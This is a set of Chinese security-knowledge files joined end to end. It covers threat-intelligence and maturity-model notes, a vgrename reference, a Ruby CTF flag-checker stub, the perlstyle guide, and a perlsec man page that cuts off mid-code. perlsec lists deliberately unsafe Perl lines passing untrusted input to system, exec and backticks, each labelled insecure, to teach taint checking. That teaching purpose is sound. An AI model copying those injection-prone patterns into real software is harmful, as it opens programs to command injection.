# 威胁情报的落地 本篇主要记录威胁情报落地相关的内容,从威胁情报的实际作用环节开始。 > - TTPs树结合CEP引擎可以从行为上判断是否是被标记的攻击者或相近攻击者 > - TTPs情报可以给红队当做指导手册来模拟真实风险下的真实敌人 > - 特定类型的pDNS、IoC标记可以融入告警中为事件提供背景支撑 > - 漏洞情报中的触发点描述可以结合RASP等安全组件采集的数据捕获一些在野的利用并同步到waf(类似于切面安全) ## 作用环节 威胁情报的实际应用环节: - TTPs结合复杂事物处理(CEP)引擎从行为上判断是否被是被标记的攻击者或相近攻击者[1] - 简单讲是从数据中进行模式匹配,然后来撞IOC库 - TTPs情报可以给红队当做指导手册来模拟真实风险下的真实敌人[1] - 组合战术、技术和流程,然后来模拟不同的攻击手法,给红队模拟真实的敌人 - 将特定类型的pDNS、IoC标记可以融入告警中,为事件提供背景支撑[1] - 撞IoC库,提供情报支撑 - 漏洞情报中的触发点描述可以结合RASP等安全组件采集的数据捕获一些在野的利用并同步到waf(类似于切面安全)[1] - 数据关联、交换 ## References \[1] 从现状看威胁情报发展趋势,[e1knot](https://www.zhihu.com/people/elknot),https://zhuanlan.zhihu.com/p/183993203
sec-knowleage
[计算机操作系统](https://github.com/CyC2018/CS-Notes/blob/master/notes/%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%20-%20%E7%9B%AE%E5%BD%95.md)
sec-knowleage
# 企业安全中价值需求和成熟度模型 ## 价值需求 > 对于企业安全团队而言,永恒的价值需求有四个方面,第一是攻陷主机分析,从告警里面发现和得出哪些机器哪些目标是被攻陷的,是需要被处置的;第二是态势感知,能够有较为完善的平台整理和总结安全数据,为安全运营提供可视化管理能力和感知能力;第三是安全运营,建立安全威胁运营机制,形成监控、预警、处置、调查、加固一系列安全运营流程,实现威胁监测、应急等各项工作标准化、自动化和人力成本最小化;第四,是溯源和报告,对告警事件深入分析,体现安全团队这个成本部门的核心价值。 > > 【威胁情报】威胁情报之落地实战——由灰向黑篇,[刘威歆](http://blog.nsfocus.net/author/liuweixin/),http://blog.nsfocus.net/threat-intelligent-landing/ - 主机分析 - 态势感知 - 安全运营 - 溯源和报告 ## 成熟度模型 ![img](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/Encode-MDR-to-XDR-graph-updated.png) 图:成熟度级别-从SIEM到托管检测以及对XDR的响应 注: - XDR, Extended Detection and Response - MDR, Managed Detection and Response ## References \[1] //TODO 安全 | 这些年我对安全成熟度模型的一点点思考,[李鹏飞Leo](https://www.zhihu.com/people/LeoPerfect),https://zhuanlan.zhihu.com/p/48667299
sec-knowleage
vgrename === 使用vgrename命令可以重命名卷组的名称 ## 补充说明 **grename命令** 可以重命名卷组的名称。 ### 语法 ```shell vgrename [选项] [旧卷组路径|旧卷组名称|旧卷组UUID] [新卷组路径|新卷组名称] ``` ### 选项 ```shell -d 启用调试模式 -t 启用测试模式 ``` ### 例子 重命名卷组/dev/vg1为/dev/vg2。 ```shell [root@localhost ~]# vgrename /dev/vg1 /dev/vg2 Volume group "vg1" successfullyrenamed to "vg2" ``` 重命名卷组vg1为vg2。 ```shell [root@localhost ~]# vgrename vg1 vg2 Volume group "vg1" successfully renamed to "vg2" ```
sec-knowleage
require_relative 'unholy' include UnHoly python_hi puts ruby_hi puts "Programming Skills: PRIMARILY RUBY AND PYTHON BUT I CAN USE ANY TYPE OF GEM TO CONTROL ANY TYPE OF SNAKE" puts "give me your flag" flag = gets.chomp! arr = flag.unpack("V*") is_key_correct? arr
sec-knowleage
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.14 .\" .\" Standard preamble: .\" ======================================================================== .de Sh \" Subsection heading .br .if t .Sp .ne 5 .PP \fB\\$1\fR .PP .. .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Vb \" Begin verbatim text .ft CW .nf .ne \\$1 .. .de Ve \" End verbatim text .ft R .fi .. .\" Set up some character translations and predefined strings. \*(-- will .\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left .\" double quote, and \*(R" will give a right double quote. | will give a .\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to .\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C' .\" expand to `' in nroff, nothing in troff, for use with C<>. .tr \(*W-|\(bv\*(Tr .ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' .ie n \{\ . ds -- \(*W- . ds PI pi . if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch . if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch . ds L" "" . ds R" "" . ds C` "" . ds C' "" 'br\} .el\{\ . ds -- \|\(em\| . ds PI \(*p . ds L" `` . ds R" '' 'br\} .\" .\" If the F register is turned on, we'll generate index entries on stderr for .\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index .\" entries marked with X<> in POD. Of course, you'll have to process the .\" output yourself in some meaningful fashion. .if \nF \{\ . de IX . tm Index:\\$1\t\\n%\t"\\$2" .. . nr % 0 . rr F .\} .\" .\" For nroff, turn off justification. Always turn off hyphenation; it makes .\" way too many mistakes in technical documents. .hy 0 .if n .na .\" .\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2). .\" Fear. Run. Save yourself. No user-serviceable parts. . \" fudge factors for nroff and troff .if n \{\ . ds #H 0 . ds #V .8m . ds #F .3m . ds #[ \f1 . ds #] \fP .\} .if t \{\ . ds #H ((1u-(\\\\n(.fu%2u))*.13m) . ds #V .6m . ds #F 0 . ds #[ \& . ds #] \& .\} . \" simple accents for nroff and troff .if n \{\ . ds ' \& . ds ` \& . ds ^ \& . ds , \& . ds ~ ~ . ds / .\} .if t \{\ . ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u" . ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u' . ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u' . ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u' . ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u' . ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u' .\} . \" troff and (daisy-wheel) nroff accents .ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V' .ds 8 \h'\*(#H'\(*b\h'-\*(#H' .ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#] .ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H' .ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u' .ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#] .ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#] .ds ae a\h'-(\w'a'u*4/10)'e .ds Ae A\h'-(\w'A'u*4/10)'E . \" corrections for vroff .if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u' .if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u' . \" for low resolution devices (crt and lpr) .if \n(.H>23 .if \n(.V>19 \ \{\ . ds : e . ds 8 ss . ds o a . ds d- d\h'-1'\(ga . ds D- D\h'-1'\(hy . ds th \o'bp' . ds Th \o'LP' . ds ae ae . ds Ae AE .\} .rm #[ #] #H #V #F C .\" ======================================================================== .\" .IX Title "PERLSTYLE 1" .TH PERLSTYLE 7 "2003-11-25" "perl v5.8.3" "Perl Programmers Reference Guide" .SH "NAME" perlstyle \- Perl 风格指南 .SH "DESCRIPTION 描述" .IX Header "DESCRIPTION" 每个程序员当然都会有自己的编程风格,但是有一些一般性的原则可以使得我们的程序更易于阅读,理解,以及维护。 .PP 最重要的是使用 \fB\-w\fR 选项. 如果必须关闭该选项,可以用 \f(CW\*(C`no warnings\*(C'\fR 或变量 \f(CW$^W\fR 来在一定的代码段中关闭它. 你还应该使用 \f(CW\*(C`use strict\*(C'\fR 除非你清楚不使用它的理由. \f(CW\*(C`use sigtrap\*(C'\fR 和 \f(CW\*(C`use diagnostics\*(C'\fR 也是非常有用的. .PP 关于代码美学, Larry 大概只强烈的关心一件事情:多行块的结束花括号应该与开始的关键字对齐. 除了这个, 还有一些不是那么重要的事情: .IP "\(bu" 4 4\-列缩进. .IP "\(bu" 4 如果可能的话,开始的花括号与关键词最好放在同一行,否则对齐. .IP "\(bu" 4 多行的块的开始的花括号之前应当有空格 .IP "\(bu" 4 单行的块放在一行,包括花括号. .IP "\(bu" 4 分号前不要空格. .IP "\(bu" 4 在短的单行块中省略分号. .IP "\(bu" 4 操作符周围打空格. .IP "\(bu" 4 在“复合”下标周围打空格 (在括号中). .IP "\(bu" 4 在不同功能的块之间打空行. .IP "\(bu" 4 else另起一行写 .IP "\(bu" 4 函数与括号间不要空格 .IP "\(bu" 4 每个逗号后打空格. .IP "\(bu" 4 长句子在操作符后截断 ( "and" 和 "or" 除外). .IP "\(bu" 4 关闭括号后打空格. .IP "\(bu" 4 相关项之间以列对齐. .IP "\(bu" 4 在不影响清晰的情况下尽量减少标点符号. .PP Larry 这样做当然有他的原因, 不过他没有要求别人都和他一样. .PP 以下意见供您参考: .IP "\(bu" 4 可以那样做并不意味着应该那样做. Perl 设计为作每件事都可以用好几种方法, 你应该选择最可读的一种. 例如 .Sp .Vb 1 \& open(FOO,$foo) || die "Can't open $foo: $!"; .Ve .Sp 好于 .Sp .Vb 1 \& die "Can't open $foo: $!" unless open(FOO,$foo); .Ve .Sp 因为第二种办法掩盖了句子中的主要内容。另一方面 .Sp .Vb 1 \& print "Starting analysis\en" if $verbose; .Ve .Sp 好于 .Sp .Vb 1 \& $verbose && print "Starting analysis\en"; .Ve .Sp 因为主要关键不在于是否用户输入了 \fB\-v\fR。 .Sp 类似的,因为一个操作符允许使用默认参数,不意味着你必须使用默认值。默认值是为懒惰的系统程序员书写只运行一次的程序准备的。如果你需要你的程序尽量可读,考虑给出参数。 .Sp 根据相同的原则,在很多地方即使你可以忽略括号也不意味着你应当这样做: .Sp .Vb 2 \& return print reverse sort num values %array; \& return print(reverse(sort num (values(%array)))); .Ve .Sp 如果有疑义,使用括号。至少它使得可怜的笨蛋能在 \fBvi\fR 中使用 % 键来跳转 .Sp 甚至你没有疑义的时候,为那个将来维护你的代码的家伙的精神健康考虑一下吧,并且他有可能把括号放错地方。 .IP "\(bu" 4 在程序中使用 last 跳出,而不要在开始和结束时用奇怪的跳转退出循环。把它 "缩出" 几格以利于察看: .Sp .Vb 7 \& LINE: \& for (;;) { \& statements; \& last LINE if $foo; \& next LINE if /^#/; \& statements; \& } .Ve .IP "\(bu" 4 别害怕使用循环标记--它们用来增强可读性并且允许多层循环中断. 参见前例. .IP "\(bu" 4 避免在空上下文中使用 grep() (或 map()) 或 `反引号` , 那样,你就丢弃了它们的返回值. 使用它们是为了得到返回值,否则,使用 foreach() 或是 system() 好了. .IP "\(bu" 4 考虑移植的时候,某些特性可能不是在所有的机器上都能够得到支持, 这时可以用 eval来测试. 如果你知道提供特定功能的版本或是补丁, 你可以察看 \f(CW$]\fR (也就是 \f(CW\*(C`English\*(C'\fR 中的 \f(CW$PERL_VERSION\fR) 来确定当前的版本. \f(CW\*(C`Config\*(C'\fR 模块也会提供perl在安装时 \fBConfigure\fR 程序测得的值. .IP "\(bu" 4 使用明确的标识符,你要是想不起来标识符的意思,那就麻烦了。 .IP "\(bu" 4 短标识符如 \f(CW$gotit\fR 虽然没什么不好, 但是用下划线来分割单词可以增加可读性. 如 \f(CW$var_names_like_this\fR 好于 \f(CW$VarNamesLikeThis\fR,对不以英语为母语的人更是如此.同样,在使用 \s-1VAR_NAMES_LIKE_THIS\s0 时也要遵循这个规则。 .Sp 包名称有时不遵守这个约定. Perl 为 \*(L"pragma\*(R" 保留小写的包名称,比如 integer 和 strict. 其他模块名称应该用大写字母开始,但是一般不用下划线来分隔,因为当使用模块名来作文件名时,这在某些系统会出现错误. .IP "\(bu" 4 使用大小写可以区分变量的作用域。例如: .Sp .Vb 3 \& $ALL_CAPS_HERE 常量 (小心!不要与 perl 变量冲突!) \& $Some_Caps_Here 包作用域 global/static \& $no_caps_here 函数作用域 my() 或 local() 变量 .Ve .Sp 函数和方法名多用小写. 如, \f(CW$obj\fR\->\fIas_string()\fR. .Sp 用下划线开始的函数名或变量名,表示该函数或变量只能在定义它的包中使用. .IP "\(bu" 4 如果你的正则表达式较复杂,用 \f(CW\*(C`/x\*(C'\fR 来增加注释行或空行以利于阅读. 当其中有很多斜杠或反斜杠时,不要用反斜杠来作正则表达式的定界符. .IP "\(bu" 4 使用 "and" 和 "or" 操作符以减少使用括号, 尽量少用 && 和 ||. 调用子程序时尽量少用"&"和括号,可以把子程序当做函数或列表操作符来调用. .IP "\(bu" 4 使用 here documents 代替大量的 print() 语句. .IP "\(bu" 4 相关语句用列对齐方式来书写,特别是当一行放不下的时候. .Sp .Vb 4 \& $IDX = $ST_MTIME; \& $IDX = $ST_ATIME if $opt_u; \& $IDX = $ST_CTIME if $opt_c; \& $IDX = $ST_SIZE if $opt_s; .Ve .Sp .Vb 3 \& mkdir $tmpdir, 0700 or die "can't mkdir $tmpdir: $!"; \& chdir($tmpdir) or die "can't chdir $tmpdir: $!"; \& mkdir 'tmp', 0777 or die "can't mkdir $tmpdir/tmp: $!"; .Ve .IP "\(bu" 4 总是检测返回值. 错误信息被送往 STDERR, 包括出错的程序、失败的系统调用及参数、并且(非常重要的)包括标准错误信息. 这里是一个简单而完整的例子: .Sp .Vb 1 \& opendir(D, $dir) or die "can't opendir $dir: $!"; .Ve .IP "\(bu" 4 把翻译列表以列对齐方式排列: .Sp .Vb 2 \& tr [abc] \& [xyz]; .Ve .IP "\(bu" 4 考虑可重用性. 请考虑使用模块或对象. 考虑使用 use strict 和 use warnings (或 -w) 使代码清晰明确. 考虑改变世界观。 .IP "\(bu" 4 要一致,要兼容。 .IP "\(bu" 4 要漂亮,要美观。 .SH "译者" .B redcandle <redcandle51@chinaren.com> .B 20010530 .SH "中文手册页翻译计划" .B http://cmpp.linuxforum.net
sec-knowleage
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.14 .\" .\" Standard preamble: .\" ======================================================================== .de Sh \" Subsection heading .br .if t .Sp .ne 5 .PP \fB\\$1\fR .PP .. .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Vb \" Begin verbatim text .ft CW .nf .ne \\$1 .. .de Ve \" End verbatim text .ft R .fi .. .\" Set up some character translations and predefined strings. \*(-- will .\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left .\" double quote, and \*(R" will give a right double quote. | will give a .\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to .\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C' .\" expand to `' in nroff, nothing in troff, for use with C<>. .tr \(*W-|\(bv\*(Tr .ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' .ie n \{\ . ds -- \(*W- . ds PI pi . if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch . if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch . ds L" "" . ds R" "" . ds C` "" . ds C' "" 'br\} .el\{\ . ds -- \|\(em\| . ds PI \(*p . ds L" `` . ds R" '' 'br\} .\" .\" If the F register is turned on, we'll generate index entries on stderr for .\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index .\" entries marked with X<> in POD. Of course, you'll have to process the .\" output yourself in some meaningful fashion. .if \nF \{\ . de IX . tm Index:\\$1\t\\n%\t"\\$2" .. . nr % 0 . rr F .\} .\" .\" For nroff, turn off justification. Always turn off hyphenation; it makes .\" way too many mistakes in technical documents. .hy 0 .if n .na .\" .\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2). .\" Fear. Run. Save yourself. No user-serviceable parts. . \" fudge factors for nroff and troff .if n \{\ . ds #H 0 . ds #V .8m . ds #F .3m . ds #[ \f1 . ds #] \fP .\} .if t \{\ . ds #H ((1u-(\\\\n(.fu%2u))*.13m) . ds #V .6m . ds #F 0 . ds #[ \& . ds #] \& .\} . \" simple accents for nroff and troff .if n \{\ . ds ' \& . ds ` \& . ds ^ \& . ds , \& . ds ~ ~ . ds / .\} .if t \{\ . ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u" . ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u' . ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u' . ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u' . ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u' . ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u' .\} . \" troff and (daisy-wheel) nroff accents .ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V' .ds 8 \h'\*(#H'\(*b\h'-\*(#H' .ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#] .ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H' .ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u' .ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#] .ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#] .ds ae a\h'-(\w'a'u*4/10)'e .ds Ae A\h'-(\w'A'u*4/10)'E . \" corrections for vroff .if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u' .if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u' . \" for low resolution devices (crt and lpr) .if \n(.H>23 .if \n(.V>19 \ \{\ . ds : e . ds 8 ss . ds o a . ds d- d\h'-1'\(ga . ds D- D\h'-1'\(hy . ds th \o'bp' . ds Th \o'LP' . ds ae ae . ds Ae AE .\} .rm #[ #] #H #V #F C .\" ======================================================================== .\" .IX Title "PERLSEC 1" .TH PERLSEC 7 "2003-11-25" "perl v5.8.3" "Perl Programmers Reference Guide" .SH "NAME" perlsec \- Perl 安全 .SH "DESCRIPTION 描述" .IX Header "DESCRIPTION" Perl可以轻松写出安全的程序,即使运行时有特殊权限,比如setuid或setgid程序。许多脚本的命令行里有多项替换语句,Perl却不是这样,它使用更多传统方法而少有艰深。而且,由于perl语言有更多内在功能,它可以更少的依赖于其他(可能不可信的)程序来完成根本目的。 .PP 当Perl检测到程序中真实的用户或组ID与有效用户或组ID不同时,它自动地开启一种叫做“污染模式”特殊的安全性检测。setuid的unix的权限位是04000,setgid 的UNIX权限位是02000;它们都有可能被设置。你也可以用命令行标识 \fB\-T\fR 明确地开启“污染模式”。强烈建议服务器程序或者在以其他人身份运行的程序(比如CGI脚本)使用此标识符。一旦污染模式被打开,它在脚本的余下内容中一直开启。 .PP 在“污染模式”中,Perl使用叫做“污染检测”的特殊预防方法来防止明显的和不易被察觉的陷阱。一些检测相当简单,如检查路径目录以确定它们对其他人是不可写的;小心的程序员一向做此类检测。其他的检测已经得到Perl本身最好的支持,这些检测尤其使写一个set-id的Perl程序比相应的C程序更安全。 .PP 你不可以使用来自程序之外的数据来影响程序之外的事情——至少不是偶然的。所有命令行参数,环境变量,本地信息(参见perllocale),特定系统调用的结果(readdir(),readlink(),shmread()的变量,msgrcv()的返回信息,getpwxxx()调用返回的密码、gcos和shell域)和所有文件输入都被标记成“污染的”。“污染的”数据既不可以直接或间接在任何调用一个子shell命令中使用,也不能在任何修改文件、目录或进程的命令中使用,但有以下例外: .IP "\(bu" 4 print和syswrite的参数不被检查是否被污染。 .IP "\(bu" 4 符号方法 .Sp .Vb 1 \& $obj->$method(@args); .Ve .Sp 以及符号的子引用 .Sp .Vb 2 \& &{$foo}(@args); \& $foo->(@args); .Ve .Sp 不会被检查是否被污染。这要求额外的小心,除非你希望外部数据影响你的控制流。除非你小心地限制这些符号值是什么,人们可以从 Perl 代码外部调用函数,类似 POSIX::system,来运行任意外部代码。 .PP 为了效率原因,Perl 对数据是否已被污染持保守的看法。如果一个表达式包含污染的数据,任何子表达式都被认为污染的,即使自表达式的值与污染的数据无关 .PP 由于污染与每个标量值相关,一个数组或散列的元素可以只有一部分被污染。散列的键永远不会被污染。 .PP 例如: .PP .Vb 8 \& $arg = shift; # $arg 是污染的 \& $hid = $arg, 'bar'; # $hid 也是污染的 \& $line = <>; # 污染的 \& $line = <STDIN>; # 仍旧是污染的 \& open FOO, "/home/me/bar" or die $!; \& $line = <FOO>; # 还是污染的 \& $path = $ENV{'PATH'}; # 污染的, 但是请看下面 \& $data = 'abc'; # 非污染的 .Ve .PP .Vb 5 \& system "echo $arg"; # 不安全的 \& system "/bin/echo", $arg; # 认为不安全 \& # (Perl 不知道 /bin/echo) \& system "echo $hid"; # 不安全的 \& system "echo $data"; # 如果PATH被设定,那么才是安全的 .Ve .PP .Vb 1 \& $path = $ENV{'PATH'}; # $path 现在是污染的 .Ve .PP .Vb 2 \& $ENV{'PATH'} = '/bin:/usr/bin'; \& delete @ENV{'IFS', 'CDPATH', 'ENV', 'BASH_ENV'}; .Ve .PP .Vb 2 \& $path = $ENV{'PATH'}; # $path 现在不是污染的 \& system "echo $data"; # 现在是安全的! .Ve .PP .Vb 2 \& open(FOO, "< $arg"); # OK - 只读文件 \& open(FOO, "> $arg"); # Not OK - 试图去写 .Ve .PP .Vb 3 \& open(FOO,"echo $arg|"); # Not OK \& open(FOO,"-|") \& or exec 'echo', $arg; # 同样 not OK .Ve .PP .Vb 1 \& $shout = `echo $arg`; # 不安全的, $shout 现在是污染的 .Ve .PP .Vb 2 \& unlink $data, $arg; # 不安全的 \& umask $arg; # 不安全的 .Ve .PP .Vb 3 \& exec "echo $arg"; # 不安全的 \& exec "echo", $arg; # 不安全的 \& exec "sh", '-c', $arg; # 非常不安全! .Ve .PP .Vb 2 \& @files = <*.c>; # 不安全的 (使用 readdir() 或其他) \& @files = glob('*.c'); # 不安全的 (使用 readdir() 或其他) .Ve .PP .Vb 4 \& # In Perl releases older than 5.6.0 the <*.c> and glob('*.c') would \& # have used an external program to do the filename expansion; but in \& # either case the result is tainted since the list of filenames comes \& # from outside of the program. .Ve .PP .Vb 2 \& $bad = ($arg, 23); # $bad will be tainted \& $arg, `true`; # Insecure (although it isn't really) .Ve .PP 如果你试图做一些不安全的事情,你会得到类似"Insecure dependency"或"Insecure $ENV{PATH}"的致命错误。 .Sh "Laundering and Detecting Tainted Data 清洗和检测污染数据" .IX Subsection "Laundering and Detecting Tainted Data" 测试一个变量是否含有污染的数据,谁的用法会引发一条"Insecure dependency"信息,在你附近的CPAN镜像查找Taint.pm模块,它应该在1997年左右就可以得到 。或者你可以用is_tainted()函数。 .PP .Vb 3 \& sub is_tainted { \& return ! eval { eval("#" . substr(join("", @_), 0, 0)); 1 }; \& } .Ve .PP 此函数利用了“表达式中任何一部分存在的污染数据致使整个表达式都被污染”。操作员测试每个参数是否被污染会使效率低下。相反,稍稍高效且稳定的方法是,只要一个表达式中任何一部分存取一个被污染的值,那么这个表达式被认为是被污染的。 .PP 但是仅仅测试数据是否被污染还不够。有时你必须清除数据的污染。唯一的通过污染机制的方法是引用正则表达式中的一个子模式。Perl假定如果你用$1, $2等等引用一个子串,那么你就知道你在做什么。也就是说你必须思考而不是盲目的解除污染,或者违抗整个机制。校验变量是否只含有好的字符(已知的好的字符)比检查它是否含有坏的字符要好。是因为很可能就把意料之外的坏字符漏掉。 .PP 下面的例子是一个检查数据中是否只含有单词(字母、数字、下划线)、连字符、'@'符号或者是'.'。 .PP .Vb 5 \& if ($data =~ /^([-\e@\ew.]+)$/) { \& $data = $1; # $data now untainted \& } else { \& die "Bad data in '$data'"; # log this somewhere \& } .Ve .PP 这完全没有问题,因为/\w+/通常不匹配shell中的字符、'.'、破折号、亦或任何对于shell有特殊含义的字符。使用/.+/从理论上讲会不安全,因为它匹配任何字符,而Perl将不再检查它们。我们的经验是当你解除污染时,必须对匹配模式极其的小心。使用正则表达式清洗数据是解除污染的唯一机制,除非你使用下面才详细叙述的派生一个特权被降低的字进程的方法。 .PP 如果程序中使用了use locale,那么上面的例子将不会解除$data的污染,因为\w匹配的字符是由locale决定的。Perl认为locale的定义是不可信的,因为它们包含程序之外 的数据。如果你在写一个locale-aware的程序,并且想使用包含\w的正则表达式清洗数据,那么请在同一块内的表达式之前加上no locale。参见perllocale/SECURITY以获 得更多的信息。 .ie n .Sh ""#!"行的开关" .el .Sh "``#!''行的开关" .IX Subsection "Switches On the #! Line" 当你使脚本程序可执行,就是可以像命令一样让它们工作时,系统会把"#!"行的开关传递给Perl。Perl检查setuid(或setgid)程序的任何和"#!"行开关匹配的命令行开关。一些Unix或Unix-like系统环境强制在"#!"行使用一个开关,所以你也许必须用类似-wU的开关而不是-w -U。(这个问题只出现在支持#!、setuid、setgid脚本的Unix或Unix-like系统环境中) .ie n .Sh "Taint mode and @INC" .el .Sh "Taint mode and \f(CW@INC\fP" .IX Subsection "Taint mode and @INC" When the taint mode (\f(CW\*(C`\-T\*(C'\fR) is in effect, the \*(L".\*(R" directory is removed from \f(CW@INC\fR, and the environment variables \f(CW\*(C`PERL5LIB\*(C'\fR and \f(CW\*(C`PERLLIB\*(C'\fR are ignored by Perl. You can still adjust \f(CW@INC\fR from outside the program by using the \f(CW\*(C`\-I\*(C'\fR command line option as explained in perlrun. The two environment variables are ignored because they are obscured, and a user running a program could be unaware that they are set, whereas the \f(CW\*(C`\-I\*(C'\fR option is clearly visible and therefore permitted. .PP Another way to modify \f(CW@INC\fR without modifying the program, is to use the \f(CW\*(C`lib\*(C'\fR pragma, e.g.: .PP .Vb 1 \& perl -Mlib=/foo program .Ve .PP The benefit of using \f(CW\*(C`\-Mlib=/foo\*(C'\fR over \f(CW\*(C`\-I/foo\*(C'\fR, is that the former will automagically remove any duplicated directories, while the later will not. .Sh "Cleaning Up Your Path 清理路径" .IX Subsection "Cleaning Up Your Path" 对于"Insecure $ENV{PATH}"这样的信息,你必须把$ENV{PATH}设置为已知的,并且路径中的任何目录都对于非本用户或非本组成员不可写。你也许会在即使路径名是完全合法的情况下收到那条信息表示非常惊讶。当你没有提供程序一个完整的路径时,它不会被引起;相反,若你从未设置PATH环境变量,或者你没有把它设置安全,它就会被引起。因为Perl不能保证可疑的可执行程序是不是它本身将执行其他的依赖于PATH的程序,它确定是你设定的PATH。 .PP PATH不是唯一可能导致问题的变量。因为一些shell会使用IFS,CDPATH,ENV和BASH_ENV,Perl在开始子进程时检查它们是否也为空或者未污染。你也许会在你的set-id和污染检测模式下的脚本程序中加入这些东西: .PP .Vb 1 \& delete @ENV{qw(IFS CDPATH ENV BASH_ENV)}; # 使 %ENV 更安全 .Ve .PP 当然,无论是否使用污染变量都有可能出现麻烦。在处理任何由用户提供的文件名的文件时,要做周密的测试。必须时,可以在去掉用户(或组!)的特权之后再进行类似open的操作。Perl不阻止你打开污染的文件名并读取内容,所以要小心对待打印出的内容。污染机制的目的是防止愚蠢的错误,不是使人懒惰不去思考。 .PP 当你传递给system和exec明确的参数列表而非含有通配符的字符串时,Perl不会调用shell去扩展通配符。不幸的是,open,glob,backtick(译注:backtick为反引号)函数并不提供这样的特性,所以当使用它们的时候必须非常仔细。 .PP Perl为从一个setuid或setgid程序打开文件或管道提供了一个安全的方法:创建一个减少权限的子进程来为你完成那些“肮脏”的工作。首先,用特殊的OPEN语法创建一个子进程,使其和父进程通过一个管道相连。现在子进程把它的ID和其他诸如环境变量,umask,当前工作目录的性质重新设置回原始的或安全的变量。然后让该不具有任何特权的子进程来完成OPEN和其他的系统调用。最终,子进程把它成功存取的数据传递给父进程。因为文件或管道是由运行于比父进程权限低的子进程打开的,所以它不容易被欺骗去做它不该做的事情。 .PP 这里有一个安全使用backtick的方法。注意当shell可能扩展时,exec是如何不被调用的。这是目前来调用可能被shell转义的东西最好的方法:从不调用shell。 .PP .Vb 25 \& use English '-no_match_vars'; \& die "Can't fork: $!" unless defined($pid = open(KID, "-|")); \& if ($pid) { # parent \& while (<KID>) { \& # do something \& } \& close KID; \& } else { \& my @temp = ($EUID, $EGID); \& my $orig_uid = $UID; \& my $orig_gid = $GID; \& $EUID = $UID; \& $EGID = $GID; \& # Drop privileges \& $UID = $orig_uid; \& $GID = $orig_gid; \& # Make sure privs are really gone \& ($EUID, $EGID) = @temp; \& die "Can't drop privileges" \& unless $UID == $EUID && $GID eq $EGID; \& $ENV{PATH} = "/bin:/usr/bin"; # Minimal PATH. \& # Consider sanitizing the environment even more. \& exec 'myprog', 'arg1', 'arg2' \& or die "can't exec myprog: $!"; \& 